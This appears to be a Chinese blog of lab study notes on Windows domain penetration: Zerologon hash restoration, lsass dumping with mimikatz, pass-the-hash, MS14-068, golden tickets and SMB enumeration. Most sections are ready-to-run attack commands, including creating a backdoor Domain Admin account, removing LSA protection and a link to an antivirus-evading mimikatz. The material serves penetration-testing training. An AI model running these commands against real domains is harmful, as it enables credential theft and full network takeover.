Mimikatz恢复域控HASH是将NTDS.DIT中的凭证以及注册表/lsass中的凭证同时修改为 (Waza1234/Waza1234/Waza1234)，并非是原本值，虽然不影响域运行，但是还是留下了痕迹。

推荐方法是恢复成原始的HASH，首先要获取注册表信息中域控原始HASH，可以利用Impacket包中的wmiexec.py、psexec.py工具获取，以wmiexec.py为例，命令中进行了HASH传递，凭证是刚刚获取的域管HASH：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


# PTH getshell
python wmiexec.py -hashes :2b2ddd54e1f78fab85e7c662f672f30e MAIN/administrator@192.168.0.111

# 获取注册表转储文件，默认存在目标机C:\目录下
# 目标机中文系统会提示解码错误，不影响使用
# /y:强制覆盖已存在文件，避免目标机C:\目录下存在同名文件，命令会询问是否覆盖，半交互环境程序会卡住
C:\>reg save HKLM\SYSTEM system.hive /y
C:\>reg save HKLM\SAM sam.hive /y
C:\>reg save HKLM\SECURITY security.hive /y

# 将转储文件，下载到本地
C:\>lget system.hive
C:\>lget sam.hive
C:\>lget security.hive

# 删除目标机上的转储文件
C:\>del /f system.hive
C:\>del /f sam.hive
C:\>del /f security.hive

C:\>exit

# 通过注册表转储导出HASH
python secretsdump.py -sam sam.hive -system system.hive -security security.hive LOCAL

运行结果如下所示，域控密钥 (HEX) 为: :71e7160142ee4406478d8c3a67566adc1ed91dd97d26c87f4ac97a4af081dadde701370b3d5fdc785a409f6f03ed9d1147163ec8e28db1c12c6a7a39fc036ec5f5db54033c653bed4c888de0ca32fe75fdcc0965daf24049c472d015963b842b982f9807ee45b9eabb94002d69ff0d8e519e9dd3112c248b4db901de95513e682ef142fd15bc97d63a0bf7b2414ad2851a00bf0f9cc356b51f25ccc4fd0f307b609278ef60c4986782b9a46cac7a6f3262eb521c9e0c7bb20dd6218e035c74b04242dcca13c778cbfe53e68901af6c27d11ac09a376a2bf456efd9d3081f95999d3b79818c754f61455c8eacdf5c9e82

NTLM HASH为: aad3b435b51404eeaad3b435b51404ee:21b74da052b94026deb180cf075a5a93，注意这里与上一步抓出来的空HASH不同，因为上一步中获取的是NTDS.DIT中域控HASH记录，而这一步获取的是注册表中HASH记录。

然后用工具恢复，将注册表中HASH记录同步到NTDS.DIT：

方法一：工具 https://github.com/risksense/zerologon

这个项目说得很清楚了按照步骤来就行

利用NT HASH恢复：

1

python reinstall_original_pw.py WIN-RITHFS5KHEN 192.168.0.111 21b74da052b94026deb180cf075a5a93

方法二：工具 https://github.com/dirkjanm/CVE-2020-1472

利用密钥 (HEX) 恢复：

1

python3 restorepassword.py main/dc01@dc01 -target-ip 192.168.43.100 -hexpass 40cb3f6931f77bec7856f848751e135515d868f80b3f7f618472dfa9e83a6fac7a6c7069b7626371f7812607d47b19df6506d1b28d1e8640b06882116feae2fee977bcb6f55db375dc6181b0e4a656ab22ef183f904cbe66d4cfbfd3c13fa5c96933b0ff8b8c07a97a0b38c3c7af4c948578caa5e2842eedc63e94c47c1624cd4b952bc3cf6871cdf8367225522d71e2d754ea642550087a8a6ef91f2ab2b32d3a2f1beb0735c06a72e0e02ff89e5645edfbfb7a190c667c1356a893b831051f4e5ba2d2bea86ec59613660d66b06eb57482ec466ca21d1324b7c83d6f68778e5c66ac7e96d5ec8c6032655a5b904099

方法三：Powershell

首先利用远程执行命令工具 (wmiexec、psexec、smbexec、atexec等) 获取域控shell，然后利用powershell命令重置主机HASH，注意这种方法并不是恢复原HASH，而是将NTDS.DIT中的凭证以及注册表/lsass中的凭证重置 (随机数)：

1
2
3


python3 wmiexec.py -hashes :cf83cd7efde13e0ce754874aaa979a74 MAIN/administrator@192.168.43.100

C:\>powershell -c Reset-ComputerMachinePassword

第5步验证是否恢复域控hash

1

python secretsdump.py -hashes :2b2ddd54e1f78fab85e7c662f672f30e domain/administrator@192.168.0.111

域渗透：PTT、PTH 与 PTC

Tue, 19 Nov 2024 08:58:00 +0800

域渗透学习

[TOC]

在渗透测试过程中，我们经常会遇到以下场景：某处于域中的服务器通过路由做端口映射，对外提供web服务，我们通过web脚本漏洞获得了该主机的system权限，如果甲方有进一步的内网渗透测试需求，以证明企业所面临的巨大风险，这个时候就需要做内网的域渗透。通常，我们是以获得域控制器的权限为目标，因为一旦域控制器沦陷，整个内网就尽在掌握中了。

一、环境配置

在开始之前，需要先配置好⼀个域环境。因为用于教学测试，所以只需一台域控和一台加入域内的主机即可。这里我使用的是 windows server 2012 与 windows 7。通过攻击拿下 windows 7 或者直接操控 windows 7，来模拟被攻陷的主机，从而进行域方面是渗透学习。

windows server 2012 存在Administrator用户(域控超级管理员用户)、Windows7的dada用户(加入管理员组的用户)、Windows7的xiao用户(普通域用户)

二、域内信息收集

所有渗透测试的第⼀步，都是信息收集，域也不例外。

①确定环境

在域内需要先确定被攻击主机的当前内网环境，如拓扑等信息，可以使用以下命令来快速定位。

1
2
3
4
5


route print # 查看路由信息
arp -a # 查看域中所有的设备
ipconfig /all # 判断当前是否在域环境中，看dns后缀和dns服务器
ping "域名"
net time /domain #查看系统时间（判断主域）

在渗透时，拿到的数据记得保存，不要看一眼就没了，也尽量不要重复查看，所有的动作都要求干净利索。

②域内信息

除了了解内网环境外，还可以通过命令来直接查看域的相关消息。

1、net view

查看本地工作组/域环境中的设备

查看域内在线主机，此时可以看⻅域内的两台机器，⼀台被攻陷的XZM-PC和域控AD。

如果报错6118 =>

1、关闭防火墙；2、开启服务（Computer Browser、Server、Workstation）；3、重新打开CMD即可

2、net view /domain

查看当前有几个域。可以看见此时有一个MAO域。

3、net user /domain

查看域内⽤户，可以看⻅除了常⻅的管理员和来宾，域内还有⼀个krbtgt⽤户，这个⽤户⾮常重要，稍后会讲到。

4、net group /domain

查看域的组别信息

这⾥可以看⻅组较多，这⾥列出⼏个关键组了解⼀下。

*Domain Admins 管理员组

*Domain Computers 主机名

*Domain Controllers 域控组

*Enterprise Admins 企业级管理员

可以通过 net group 组名 /domain 来查看组内⽤户。

5、whoami /user

确定自身权限

500：administrator
501：guest
1000+：普通用户

6、net group “domain controllers” /domain

查看域控管理员组的成员(域内高权限组)

Domain Admins 域控管理员组(高权限)
Domain Computers 加入域内的主机成员
Domain Controllers 域控(高权限)
Domain Users 域内普通用户
Enterprise Admins 企业管理员(高权限)

8、systeminfo | findstr “KB”

查看补丁信息

7、定位域控

域控作为域的最⾼权限，⾃然是⾸要的攻击⽬标，可以通过刚才的⼀些已知的命令，来找到域控。

通过 net user /domain 来查看域内的账户；通过 net group "domain controllers" /domain 来查看域控。自身权限可以使⽤ whoami /user 命令快速查看。

三、本地认证

①Windows本地认证

在开始攻击之前，需要先了解⼀下 windows 的认证机制。

通过操作系统的学习，已知 C:\Windows\System32\config\SAM 是储存主机账号密码的数据库⽂件。

windows 登⼊的过程其实很简单，启动winlogin.exe，当⽤户输⼊账号密码后，账号密码将会发送到lsass.exe，lsass.exe将会把⽤户输⼊的明⽂，转换为NTLM hash与，SAM⽂件存储的数据做⽐较，⽐较成功即登⼊成功。

Windows Logon: 是wWindows操作系统的用户登录程序，负责管理用户的登录和登出过程。它提供了用户输入账号和密码的界面，也称为登录页面或登录屏幕。

lsass: 是微软windows系统的安全机制，是Windows操作系统中的一个关键进程，负责处理本地安全和登录策略。它在Windows系统启动时自动启动，并一直运行在后台。

②NTLM hash

当然，windows本身是不会存储明⽂密码的，在SAM⽂件中所存储的是密码的散列值，⽽在登⼊的时候，也是先将⽤户输⼊转换为散列值，才进⾏对⽐的。

Hash一般存储在两个地方：

1、SAM文件，存储在本机 => 对应本地用户
2、NTDS.DIT文件，存储在域控上 => 对应域用户

1、加密过程

⽤户输⼊的明⽂密码 => ⼗六进制 => unicode => md4 算法 => NTLM hash。可以看⻅，整个加密过程还是较为简单的。

2、存储的密码格式

例：administrator:500:LM hash:NTLM hash

可以看⻅，先是⽤户名，再是该⽤户的 SID，后⾯跟着 LM hash 和 NTLM hash

如果LM Hash 是 AAD3B 开头，则是空密码或者未设置密码。

LM Hash全名为 “LAN Manager Hash”，是微软为了提⾼Windows操作系统的安全性⽽采⽤的散列加密算法，其本质是DES加密。尽管LM Hash较容易被破解，但是为了保证系统的兼容性，Windows只是将LM Hash禁⽤了(从Windows Vista和Windows Server 2008版本开始，Windows操作系统默认禁⽤LM Hash)，LM Hash明⽂密码被限制在14位以内，也就是说，如果要停⽌使⽤LM Hash，将⽤户的密码设置为14位以上就好了。

3、lsass.exe

在内⽹渗透进⾏横向移动和权限提升时，最常⽤的⽅法是通过 dump 进程 lsass.exe，从中获得明⽂⼝令或者hash。 lsass.exe（Local Security Authority SubsystemService）是⼀个系统进程，⽤于微软Windows系统的安全机制，它⽤于本地安全和登陆策略。在进程空间中，存有着机器的域、本地⽤户名和密码等重要信息。但是需要⾸先获得⼀个⾼的权限才能对其进⾏访问。

四、从 lsass.exe 获取密码

①Procdump

procdump是⼀款命令⾏⼯具，主要⽤途是监视应⽤程序的CPU异常动向，并且对内存做⼀个转储。上⾯提到了密码的明⽂与密⽂都存储在lsass⾥，所以使⽤procdump即可将 lsass 的内存资源转储出来。以下是它的⼀些参数。

1、相关参数

-ma：写⼊“完整”转储⽂件。【包括所有内存 (映像、映射和专⽤)；包括 (进程、线程、模块、句柄、地址空间等) 的所有元数据】
-accepteula：使⽤该命令行选项时，表示⾃动接受Sysinternals许可协议。

2、简单使用

使⽤⽅式⾮常简单，指定参数和要转储内存的⽂件后，再指定保存的⽂件名，即刻获得后缀名为 .dmp 的内存转储⽂件。(需要管理员权限的命令行窗口才可操作)

1
2
3


procdump.exe -ma -accepteula lsass.exe passwd.dmp #把内存当中的HASH导入到本地，并命名为passwd.dmp

pypykatz lsa minidump ./pass.dmp # 这个非常好用

正常我们是打不开passwd.dmp这个文件的，要是以记事本打开也都是乱码。这时，我们就要用到另一个小工具Mimikatz进行对passwd.dmp进行读取

②Mimikatz

Mimikatz 是法国⼈benjamin开发的⼀款功能强⼤的轻量级调试⼯具，本意是⽤来个⼈测试，但由于其功能强⼤，能够直接读取WindowsXP-2012等操作系统的明⽂密码⽽闻名于渗透测试，可以说是渗透必备⼯具。

1、相关参数

因为 mimikatz 参数较多，这⾥只介绍常⽤的参数。

1
2
3
4


mimikatz # :: 显示帮助指令
mimikatz # cls 清空
mimikatz # log 记录所得到的信息
mimikatz # hostname 查看主机名

privilege 模块

(需要管理员权限的命令行窗口才可操作)

1

mimikatz # privilege::debug 提升 mimikatz 权限（通过mimkatz自带的漏洞脚本对当前设备进行攻击）

sekurlsa 模块

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


1、提取当前系统中已登录用户的密码（该方法需要先提升mimikatz权限）
mimikatz # sekurlsa::logonpasswords 获取所有账户密码（比procdump的使用更简单）
2、抓取用户NTLM哈希(读取内存的HASH-列出 LM 和 NTML 凭证)
mimikatz # sekurlsa::msv
3、加载dmp文件，并导出其中的明文密码
mimikatz # sekurlsa::minidump passwd.dmp 切换环境
mimikatz # sekurlsa::logonpasswords full 列出所有可用的凭据
4、导出lsass.exe进程中所有的票据
mimikatz # sekurlsa::tickets /export
5、列出 kerberos 凭证
mimikatz # sekurlsa::kerberos 获取kerberos认证信息(账户密码等)-域内
6、pass-the-hash 哈希传递
mimikatz # sekurlsa::pth

lsadump 模块

1
2
3


mimikatz # lsadump::sam 查看sam文件内容获取用户名和NTLM hash
mimikatz # lsadump::secrets 获取当前用户密码
mimikatz # lsadump::dcsync /user:krbtgt 获取域控上krbtgt⽤户信息

kerberos 模块

1
2
3
4
5
6
7


1、列出系统中的票据
mimikatz # kerberos::list 列出票据
mimikatz # kerberos::tgt 列出票据
2、清除系统中的票据
mimikatz # kerberos::purge 清除票据
3、导入票据到系统中
mimikatz # kerberos::ptc 票据路径

process 模块

1
2
3


mimikatz # process::start command 启动进程
mimikatz # process::stop command 结束进程
mimikatz # process::list 列出进程

Mimikatz 因为效果太好导致会被杀毒警报，若是想在⽬标机器运⾏先考虑是否需要对 Mimikatz 做免杀处理。

2、简单使用

Mimikatz 能够从内存中提取纯⽂本密码，通过参数 sekurlsa::minidump 载⼊刚才procdump 获取的 dmp ⽂件后，就可以使⽤ sekurlsa::logonpasswords full 等命令，对密码进⾏读取。实现效果如下图：

1
2
3


mimikatz.exe
sekurlsa::minidump ./passwd.dmp
sekurlsa::logonpasswords full

在这⾥可以看⻅图中带有管理员信息，若是中真实环境中拿到此信息基本就宣告着结束。

3、进阶使用

①利用procdump导下来的dump文件与mimikatz配合使用获取凭据

1
2
3


mimikatz # log //记录所得到的信息
mimikatz # sekurlsa::minidump passwd.dmp //切换环境（挂载dmp文件）
mimikatz # sekurlsa::logonpasswords //列出所有可用的凭据

②直接利用minikatz获取凭据（需要管理权限）

1
2
3
4


mimikata # log //记录所得到的信息
mimikatz # privilege::debug //提权（获得mimikatz程序的特殊操作）
mimikatz # sekurlsa::msv //提取内存的HASH值
mimikatz # sekurlsa::logonpasswords //列出所有可用的凭据

拥有本地管理员权限

获取密码

1
2
3
4
5
6
7
8
9


procdump.exe -accepteula -ma lsass.exe lsass.dmp

mimikatz "privilege::debug" "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords" "exit"

mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "exit"

hashdump: post/windows/gather/smart_hashdump
cme smb <ip_range> -u <user> -p <password> -M lsassy
cme smb <ip_range> -u <user> -p '<password>' --sam / --lsa / --ntds

绕过LSA防护策略读取密码

1
2
3


PPLdump64.exe <lsass.exe|lsass_pid> lsass.dmp

mimikatz "!+" "!processprotect /process:lsass.exe /remove" "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "!processprotect /process:lsass.exe" "!-" #with mimidriver.sys

总结流程：

获取NTLM hash

使用procdump/PPLdump dump lsass进程
用mimikatz分析dump文件提取hash

利用NTLM hash 选择路径：

破解hash获取明文密码
直接使用hash进行PTH攻击(适用于无法破解情况)

关键点：

NTLM hash在所有Windows系统中生成方式相同(MD4)
相同密码在不同机器生成相同hash
PTH不需要明文密码就能进行认证
dump lsass会包含所有已登录用户的凭据信息:

特别点：

当前登录的管理员用户hash
其他已登录用户的hash
系统服务账户的hash

但要注意:

只能获取已登录过的用户hash
未登录过的用户信息不会在lsass中

实际上md4解密也能获得明文密码

五、实验：PTH（pass-the-hash）哈希传递

①简介

哈希传递是⼀种⿊客技术，攻击者可⽤使⽤⽤户密码的hash对远程服务器进⾏身份验证，扩⼤战果。其实就是⼀种 撞库 的⾏为。在拥有NTLM hash的情况下，我们可以⾮常轻易的使⽤mimikatz的 sekurlsa::pth 发起⼀次 PTH。

攻击缺陷：hash 要保持静态（不修改密码）
适⽤于：域/⼯作组、可⽤获取 hash 但是不能爆破 hash，且内⽹有相同密码的机器。
KB2871997：修复了普通⽤户能够 pth，但是管理员除外，系统 >= win server 2012时，⽆法通过 lsass 进程中抓取明⽂密码。

因 KB2871997 修复了普通⽤户能够 pth，所以需要使⽤ privilege::debug 来提升权限（在⾼权限终端下）。

②基本条件

使⽤mimikatz的sekurlsa::pth模块⾄少需要知道以下条件：

pth 的对象：使⽤ net user /domain 等命令即可查看域内⽤户信息
域名：使⽤ net view /domain 等命令即可查看域名
NTLM hash ：可以通过使⽤procdump配合mimikatz获取

1
2
3
4


补充：
① reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f #开启密码抓取

② rundll32 user32.dll,LockWorkStation # 强制锁屏，为了让用户重新登录从而可以抓取lsass.exe文件中的密码

③适用条件

适用于无需用户密码，只能拿到域控的NTLM Hash，而且无法解密的情况。

④信息收集

寻找pth的对象 => Administrator

查看管理员组成员 => 选择攻击 Administrator

域名 => MAO

拿到管理员的ntml hash => 570a9a65db8fba761c1008a51d4c95ab

1
2
3


其实通过mimikatz.exe，啥都满足了：
sekurlsa::minidump ./passwd.dmp
sekurlsa::logonpasswords full

⑤发起攻击

法一：mimikatz直接pth

1
2
3
4


sekurlsa::pth /user:<pth 的对象> /domain:<域名> /ntlm:<ntlm hash> [/run:name]

privilege::debug
sekurlsa::pth /user:Administrator /domain:MAO /ntlm:570a9a65db8fba761c1008a51d4c95ab /run:cmd

拿下域控权限。(如果参数都填写正确的情况下，还是无法攻击成功的话，尝试关闭mimikatz窗口，重新以管理员启动cmd.exe，重新提升权限，再进行攻击。run后面的命令不写也行，默认开启域控的cmd.exe)

法二：凭据传递脚本获取shell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


①smbexec.py
python /opt/impacket/build/scripts-3.12/smbexec.py -hashes :2b2ddd54e1f78fab85e7c662f672f30e TEST/Administrator@192.168.0.110
smbexec.py administrator:'password'@<target-ip>

②wmiexec.py
python /opt/impacket/build/scripts-3.12/wmiexec.py -hashes :2b2ddd54e1f78fab85e7c662f672f30e TEST/Administrator@192.168.0.110
wmiexec.py administrator:'password'@<target-ip>

/opt/impacket/build/scripts-3.12/psexec.py administrator:'password'@10.10.10.97
PsExec.exe \\WindowsServerAD.test.local -u test\administrator -hashes :2b2ddd54e1f78fab85e7c662f672f30e cmd
PsExec.exe -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 FOREST/administrator@10.10.10.161
psexec.exe "administrator"@10.10.10.161 -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


1 如果说我传递的是一个普通用户的hash 是否也能拿到shell？
2 普通用户的hash是域账户的？ 还是域控普通用户的
3 如果域控普通账户也可以传递hash 是不是就是说只要在域控创建账户 就说明他就是域账号了

1.普通用户hash传递：
能获得shell，但权限受限
只能访问被授权的资源
无法执行管理员操作
2.普通用户hash来源：
是域用户账户的hash
不是本地账户的hash
用于域内认证的凭据
3.域账户和本地账户：
在域控创建的用户自动成为域用户
域用户可以在域内认证
本地账户只能在本机使用
关键：PTH是传递域账户的hash，不管是管理员还是普通用户。
而且只有当获取到域控管理员的hash才能拿到shell

六、Kerberos认证协议

Kerberos是⼀种第三⽅认证协议，通过使⽤对称加密技术为客户端/服务器应⽤程序提供强身份验证。在希腊神话中Kerberos是守护地狱之⻔的⼀条三头神⽝，⽽这三个头分别代表着协议的三个⻆⾊，如下图所示它们分别是:

1、访问服务的Client（发送请求的一方）

2、提供服务的Server（接收请求的一方）

3、KDC，密钥分发中⼼，该中⼼⾥⼜包含以下两个服务：

AS，身份验证服务(认证服务器)【专门用来认证客户端的身份并发放客户用于访问TGS的TGT】
TGS，票据授权服务(票据授予服务器)【用来发放整个认证过程以及客户端访问服务端时所需的服务授予票据】

DC（Domain Controller）：域控制器
KDC（Key Distribution Center）：密钥分发服中⼼
AS（Authentication Server）：认证服务器
TGS（Ticket Granting Server）：票据授权服务器
TGT（Ticket Granting Ticket）：票据授权票据

认证概述

1、⾸先客户端向 AS 发起请求，获得TGT。

2、客户端使⽤从 AS 获得的TGT，向 TGS 发起请求，TGS 成功解密 TGT 后，生成新的票据返回给客户端。

4、客户端使⽤ TGS 返回的新票据向服务器发送请求进⾏授权。

七、实验：PTC（pass-the-ccahe）缓存传递

如果能够拿到⽤户的 TGT，并将其倒⼊到内存，那么就可以冒充该⽤户获得其访问权限。

①MS14-068漏洞

MS14-068 是密钥分发中⼼（KDC）服务中的 Windows 漏洞。它允许经过身份验证的⽤户在其 Kerberos 票据（TGT）中插⼊任意 PAC（表示所有⽤户权限的结果）。该漏洞位于kdcsvc.dll 域控制器的密钥分发中⼼中。⽤户可以通过呈现具有改变 PAC 的 kerberos TGT 来获得票据。

需要⾼权限。

影响范围

Windows Server 2003、Windows Server 2008、Windows Server 2008 R2、Windows Server 2012 及 Windows Server 2012 R2
Windows Vista、Windows 7、 Windows 8 及 Windows 8.1

补丁编号与利⽤条件

补丁编号：KB3011780

利⽤条件：

获取到⼀台主机的权限（域内主机）
收集到计算机域任意用户⽤户的账号密码、SID、域名信息
没打 MS14-068 补丁

#这个教程有问题如果有管理员的账号和密码大概率可以走PTH 而MS14-068的特点是普通域账户可以提权到域管理员所以这个漏洞危害才会那么大而这里任意一个普通域用户就行

②信息收集

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


1、域管理员⽤户的SID
whoami /all => S-1-5-21-863777703-696496247-1862912240-500

2、域管理员⽤户的明文密码
mimikatz.exe
sekurlsa::minidump ./passwd.dmp
sekurlsa::logonpasswords full => Admin@123

3、域名信息（完整域名消息）
ipconfig /all

Windows对大小写不敏感，所以mao.com和MAO.COM均可

③漏洞利用

1、生成域控管理员密钥

1
2
3
4


使⽤现成的脚本来获取票据：
ms14-068.exe -u <⽤户名@域名> -s <SID> -d <ip地址> -p <⽤户密码>

MS14-068.exe -u Administrator@MAO.COM -s S-1-5-21-863777703-696496247-1862912240-500 -d 192.168.126.10 -p Admin@123

2、将内存中导入生成好的票据

然后使⽤mimikatz的 kerberos::ptc 模块来载⼊票据。

1
2
3


mimikatz.exe
privilege::debug
kerberos::ptc TGT_Administrator@MAO.COM.ccache

3、开启当前权限的管理员终端

使⽤mimikatz的 misc::cmd 模块，打开打开⼀个新窗⼝验证我们当前权限。

1
2


misc::cmd
dir \\192.168.126.10\c$

4、PsExec.exe获取一个交互式shell

用刚刚生成的管理员终端使用PsExec.exe工具获取一个交互式shell，并创建了隶属于管理员组的用户

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


明文密码也可以用psexec.exe
PsExec64.exe \\192.168.0.110 -u Administrator -p Admin@123!@# -s cmd.exe

如果已经导入票据了 直接拿shell就行了 这一步也就是PTC
PsExec.exe \\192.168.126.10 cmd
ipconfig
whoami
net user carmi carmi@123 /add /domain
net group "Domain Admins" carmi /add /domain
net group "Domain Admins" /domain

PTC linux

查找票据缓存文件：

1
2
3


# 默认位置
ls /tmp/krb5cc_*
ls ~/.krb5cc_*

导入票据：

1
2
3
4
5


# 设置环境变量 工具自带的会读取KRB5CCNAME的参数 而后面是缓存的所在
export KRB5CCNAME=/tmp/krb5cc_1000

# 查看票据
klist

使用票据：

1
2
3


# impacket工具
psexec.py -k -no-pass test.domain/administrator@dc.test.domain
smbexec.py -k -no-pass test.domain/administrator@dc.test.domain

主要使用场景：

Linux加入域环境
域内渗透测试
跨平台攻击

八、实验：PTT（pass-the-ticket）黄金票据

①简介

KDC 的作⽤是⽣成任意⽤户的 TGT，那么问题来了，是什么条件能够让他⽣成任意⽤户的 TGT 呢？还得看 kerberos 认证的过程，在 windows 认证过程中，客户端将⾃⼰的信息发送给 KDC，然后 KDC 使⽤ krbtgt ⽤户密码的 NTLM hash 作为密钥进⾏加密，⽣成 TGT。

一句话：TGT是KDC使用 krbtgt 用户密码的 hash 作为密钥，加上客户端自己的信息生成的。

那么如果获取到了 krbtgt 的密码 hash 值，是否就可以伪造任意 TGT？答案是肯定的。但因为 krbtgt 只有域控制器上才有，所以使⽤⻩⾦票据(票据传递攻击)意味着之前就拿到了域控制器的权限，所以⻩⾦票据可以理解为⼀个后⻔。

Krbtgt ⽤户在域控创建完成后⾃动⽣成。

只要krbtgt用户不更改密码，就可以使用黄金票据是实现任何用户的票据信息，注入到内存中。

黄金票据在使用的过程需要同域控通信。

②基本条件

域名称、域 SID(去掉rid)：通过 whoami /user 获取
要伪造(目标)的⽤户名：通过 net user /domain 等⽅法获取
krbtgt⽤户的hash：通过 mimikatz 等⽅法获取

③信息收集

mimkatz获取 krbtgt hash（只有这一步才需要在域控上操作） => e798fdc7ba810c372ef7bffcdc8f2d13

由于mimkatz使用条件有点苛刻，且mimkatz软件问题，在命令行直接复制mimkatz内容可能无法成功或者直接到导致程序崩溃，那么这里可以通过生成log来解决。

1
2
3
4


mimikatz.exe
log
privilege::debug
lsadump::dcsync /user:krbtgt

域SID(不需要权限的域SID)： whoami /user => S-1-5-21-863777703-696496247-1862912240（最后的一个横线后表示用户权限。因此只需要前半部分）

伪造(目标)的⽤户名：net user /domain => Administrator

域名称（完整域名）：ipconfig /all => mao.com

③漏洞利用

管理员窗口操作

1、清除原有票据

因为在⽣成票据时需要将原有的票据清空，所以⼀旦票据⽣成失败，主机也将⽆法继续访问域内信息了(脱域)。

使⽤ kerberos::purge 清空票据后，就可以使⽤ kerberos::golden ⽣成票据了。

1
2
3


mimikatz.exe
privilege::debug
kerberos::purge 清空票据

2、⽣成票据

1
2
3


kerberos::golden /user:<要伪造的⽤户名> /domain:<完整域名> /krbtgt:<krbtgt ⽤户的 hash> /sid:<域sid> /ticket:<⽣成的⽂件名.kirbr>

kerberos::golden /user:Administrator /domain:test.local /krbtgt:fc9433a1a38088e6b6b74e2c29cf02bd /sid:S-1-5-21-1304053684-1769385709-786886762-500 /ticket:carmi.kirbr

3、注入票据

1

kerberos::ptt carmi.kirbr

4、生成域控会话

1
2
3
4
5


misc::cmd
whoami
dir \\192.168.126.10\c$
PsExec.exe \\192.168.126.10 cmd
ipconfig

https://blog.csdn.net/m0_55751267/article/details/127990619 此处有白银和黄金票据的原理

此处的博客：https://xz.aliyun.com/t/13435?time__1311=Gqmxu7G%3D5mq05DK5YK0%3DIouDfxiT277GbD

免杀mimikatz https://github.com/wangfly-me/mimikatz_bypass/releases/tag/v1.0

参考如下:

https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mimikatz-cheatsheet/#lsa-protection-workaround

域渗透：基础流程

Sun, 17 Nov 2024 12:00:00 +0800

内网信息收集

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57


1、用户列表 net user /domain
windows用户列表 分析邮件用户，内网[域]邮件用户，通常就是内网[域]用户

2.进程列表 tasklist /svc
分析杀毒软件/安全监控工具等 邮件客户端 VPN ftp等

3.服务列表	tasklist /svc
与安全防范工具有关服务[判断是否可以手动开关等] 存在问题的服务[权限/漏洞]

4.端口列表	netstat -ano
开放端口对应的常见服务/应用程序[匿名/权限/漏洞等] 利用端口进行信息收集

5.补丁列表	systeminfo
分析 Windows 补丁 第三方软件[Java/Oracle/Flash 等]漏洞

6.本机共享	smbclient -L ip
		 net user \\ip\c$
本机共享列表/访问权限 本机访问的域共享/访问权限

7.本用户习惯分析
历史记录 收藏夹 文档等

8.获取当前用户密码
Windows
mimikatz
Invoke-WCMDump
mimiDbg
LaZagne
NirLauncher )
quarkspwdump
Linux
mimipenguin
LaZagne
浏览器
HackBrowserData
SharpWeb
SharpDPAPI
360SafeBrowsergetpass
BrowserGhost
Browser-cookie-steal(窃取浏览器cookie)

Navicat密码
版本：Navicat 11或12

方法：https://blog.csdn.net/CCESARE/article/details/104746596

解密脚本：https://github.com/tianhe1986/FatSmallTools

https://github.com/HyperSine/how-does-navicat-encrypt-password

xshell&xftp密码
https://github.com/dzxs/Xdecrypt

mRemoteNG密码
https://github.com/kmahyyg/mremoteng-decrypt

https://github.com/haseebT/mRemoteNG-Decrypt

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44


常用端口扫描工具
nmap
masscan
zmap
s扫描器
自写脚本
nc
……
内网拓扑架构分析
DMZ
管理网
生产网
测试网
常见信息收集命令

# ipconfig
ipconfig /all ------> 查询本机 IP 段，所在域等

# net
net user ------> 本机用户列表
net localgroup administrators ------> 本机管理员[通常含有域用户]
net user /domain ------> 查询域用户
net group /domain ------> 查询域里面的工作组
net group "domain admins" /domain ------> 查询域管理员用户组
net localgroup administrators /domain ------> 登录本机的域管理员
net localgroup administrators workgroup\user001 /add ----->域用户添加到本机 net group "Domain controllers" -------> 查看域控制器(如果有多台)
net view ------> 查询同一域内机器列表 net view /domain ------> 查询域列表
net view /domain:domainname

# dsquery
dsquery computer domainroot -limit 65535 && net group "domain
computers" /domain ------> 列出该域内所有机器名
dsquery computer ------> 列出机器名称
dsquery user domainroot -limit 65535 && net user /domain------>列出该域内所有用户名
dsquery subnet ------>列出该域内网段划分
dsquery group && net group /domain ------>列出该域内分组
dsquery ou ------>列出该域内组织单位
dsquery server && net time /domain------>列出该域内域控制器

第三方信息收集
NETBIOS 信息收集
SMB 信息收集
空会话信息收集
漏洞信息收集等

常见命令

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


#本地创建账号
net user /add jerry 123456
#域成员创建域用户(需要管理员权限)
net user /add jerry 123456 /domain
#域控创建域成员
net user /add jerry 123456

在入域后 普通权限账户很多功能都被限制 管理员为域控管理员 导致很多很难操作
net localgroup administrators test\jerry /add
可以将test域下的jerry用户提权到本地管理员权限
因为UAC本地管理员无法立即生效 注销当前账户 重新登录 即可和之前一样
在本地运行需要管理员权限的命令时 点是或者否就行了

列出可匿名访问的SMB共享

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


enum4linux -a -u "" -p "" <dc-ip> && enum4linux -a -u "guest" -p "" <dc-ip>
smbmap -u "" -p "" -P 445 -H <dc-ip> && smbmap -u "guest" -p "" -P 445 -H <dc-ip>
smbclient -U '%' -L //<dc-ip> && smbclient -U 'guest%' -L //<dc-ip>
cme smb <ip> -u '' -p '' # 枚举可空Session访问的SMB共享
cme smb <ip> -u 'a' -p '' #枚举可匿名访问的SMB共享

enum4linux -a -u "" -p "" 192.168.139.153 && enum4linux -a -u "guest" -p "" 192.168.139.153
smbmap -u "" -p "" -P 445 -H 192.168.139.153 && smbmap -u "guest" -p "" -P 445 -H 192.168.139.153
smbclient -U '%' -L //192.168.139.153 && smbclient -U 'guest%' -L //192.168.139.153
crackmapexec smb 192.168.139.153 -u '' -p ''
crackmapexec smb 192.168.139.153 -u 'a' -p ''

